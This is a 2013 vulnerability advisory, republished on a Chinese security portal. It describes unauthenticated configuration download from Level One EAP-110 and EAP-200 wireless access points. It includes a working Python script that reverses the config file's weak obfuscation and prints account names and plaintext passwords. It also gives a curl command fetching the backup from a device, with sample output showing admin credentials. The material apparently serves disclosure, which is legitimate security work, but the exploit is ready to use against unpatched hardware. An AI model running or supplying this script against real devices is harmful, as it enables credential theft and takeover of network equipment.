首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Level One Enterprise Access Points Password Disclosure
来源:richard@sigma-star.at 作者:Richard 发布时间:2013-10-18  
Level One Enterprise Access Points Password Disclosure
======================================================

Summary:
--------

Level1 EAP Devices offer a function do download the device
config file.
This download mechanism is not properly protected such that
an attach can download the config file without authentication.
Further is the config file only protected by pseudo crypto
and contains all passwords in plain text.

Known vulnerable:
-----------------

EAP-110
EAP-200

Firmware version: 	2.00.03
Build number:		1.50-1.5045

Others may also vulnerable, the firmware image looks very generic.
So far we had only access to EAP-110 and 200 devices.

For both devices no firmware update is available.
Side note: Level1 has never released a firmware update
for the said devices.

Details:
--------

http://<device-ip>/backupCfg.egi is used to download the device
configuation.
If the user is not authenticated it will redirect to
http://<device-ip>/utilities/backup.asp which will query for
username and password.
But the backupCfg.egi CGI does not terminate after sending the
HTTP 302 redirect.
Any HTTP client which does not follow redirects is therefore able
to download the config file.

The encrypted config file can easily decrypted with our
tellpassword.pl script.

Credits:
--------

David Gstir <david@sigma-star.at>
Richard Weinberger <richard@sigma-star.at>

Exploit:
--------

---cut---
# tellpassword.py
#
# Extracts user accounts from Level1 (ip4net)
# EAP-200 (and other) Wifi Access Points
#
# (c) 2013 sigma star gmbh

import sys, re

attribRegex = re.compile(r"(\w+)=\"([^\"]*)\"")

if (len(sys.argv) != 2):
    print "USAGE: %s config-backup.conf" % sys.argv[0]
    exit(1)

# decrypt config
encrypted = open(sys.argv[1], 'rb')
plain = open('plain.xml', 'w')
cntr = 0
encrypted.seek(128)
byte = encrypted.read(1)
print "Decrypting config file into plain.xml"
while byte:
    plainOrd = ((ord(byte) ^ 0xff) + cntr) % 0x80
    plain.write(chr(plainOrd))
    cntr = (cntr + 1) % 0x40
    byte = encrypted.read(1)
encrypted.close()
plain.close()

# find user accounts
print "Parsing accounts..."
plain = open('plain.xml', 'r')
for line in plain:
    if "<user" in line:
        user = None
        password = None
        for match in attribRegex.finditer(line):
            attrib = match.group(1)
            if attrib == "name":
                user = match.group(2)
            elif attrib == "password":
                password = match.group(2)
	if len(password) > 0:
	        print " - %s: %s" % (user, password)
plain.close()
---cut---

Usage:
------

$ curl http://10.59.5.15/backupCfg.egi > config-backup.conf
$ python tellpassword.py config-backup.conf
Decrypting config file into plain.xml
Parsing accounts...
 - admin: #gs#1



 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Persistent Payload In Windows
·SikaBoom - Remote Buffer Overf
·Aladdin Knowledge Systems Ltd.
·ARRIS DG860A NVRAM Backup Comp
·PDFCool Studio Buffer Overflow
·PHP Point Of Sale 10.x / 11.x
·Zabbix 2.0.8 SQL Injection / R
·WebTester 5.x Command Executio
·HP Data Protector Cell Request
·FiberHome Modem Router HG-110
·MS13-080 Microsoft Internet Ex
·HP Intelligent Management Cent
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved